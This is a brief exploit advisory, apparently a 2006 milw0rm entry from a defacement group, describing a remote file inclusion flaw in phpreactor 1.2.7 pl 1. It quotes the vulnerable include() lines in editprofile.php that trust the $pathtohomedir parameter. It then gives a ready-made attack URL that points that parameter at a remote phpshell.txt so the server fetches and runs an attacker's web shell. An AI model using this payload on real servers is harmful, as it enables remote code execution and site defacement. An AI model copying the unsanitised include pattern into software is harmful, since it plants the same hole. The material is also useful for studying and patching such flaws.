24 lines
No EOL
1.1 KiB
Text
24 lines
No EOL
1.1 KiB
Text
########################### www.system-defacers.org ###############
|
|
# Found By CeNGiZ-HaN cengiz-han@system-defacers.org
|
|
# phpreactor 1.2.7 pl 1 pathtohomedir inclusion vulnerability
|
|
############################################################################
|
|
# Vulnerable Code in editprofile.php
|
|
# //INCLUDE DB FUNCTIONS
|
|
# if(!defined("REACTOR_INC_DB")) { include($pathtohomedir."/inc/db.inc.php"); }
|
|
# //INCLUDE LANGUAGE FUNCTIONS
|
|
# if(!defined("REACTOR_INC_LANG")) { include($pathtohomedir."/inc/lang.inc.php"); }
|
|
# //INCLUDE USERS FUNCTIONS
|
|
# if(!defined("REACTOR_INC_USERS")) { include($pathtohomedir."/inc/users.inc.php"); }
|
|
# //INCLUDE BBS FUNCTIONS
|
|
# if(!defined("REACTOR_INC_BBS")) { include($pathtohomedir."/inc/bbs.inc.php"); }
|
|
#
|
|
#
|
|
# http://[target]/[path]/editprofile.php?pathtohomedir=http://phpshell.txt?
|
|
#
|
|
##############################################################################
|
|
#
|
|
# W W W . S Y S T E M - D E F A C E R S . O R G
|
|
#
|
|
##############################################################################
|
|
|
|
# milw0rm.com [2006-07-31] |